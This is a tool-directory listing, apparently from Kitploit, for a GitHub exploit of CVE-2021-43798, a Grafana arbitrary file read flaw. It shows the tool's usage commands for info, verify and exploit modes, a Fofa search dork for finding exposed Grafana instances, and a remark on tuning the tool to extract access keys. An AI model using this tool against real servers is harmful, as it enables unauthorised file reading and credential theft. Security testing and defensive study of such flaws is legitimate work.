Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-43798 — Grafana Arbitrary File Reading Vulnerability | Kitploit
工具/GitHubGitHub/zer0yu/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubzer0yu/cve-2021-43798

CVE-2021-43798

Grafana Arbitrary File Reading Vulnerability

查看仓库
2764年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GrafanaArbitraryFileRead

Usage

1. show info

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "Grafana Arbitrary File Read",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "z3",
  "VulDate": "2021-12-07",
  "References": [
    "https://nosec.org/home/detail/4914.html"
  ],
  "AppName": "Grafana",
  "AppPowerLink": "https://grafana.com/",
  "AppVersion": "Grafana Version 8.*",
  "VulType": "Arbitrary File Read",
  "Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"Grafana\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. verify

root@kitploit:~
echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628

3. exploit

root@kitploit:~
echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v

Realization of the utilization idea in reference 1. To extract more information please modify the regular in the getAccesskey function.

Reference

  1. grafana最新任意文件读取分析以及衍生问题解释
  2. Grafana Unauthorized arbitrary file reading vulnerability

Disclaimer

This procedure is for security self-inspection only, please consciously comply with local laws.

下载工具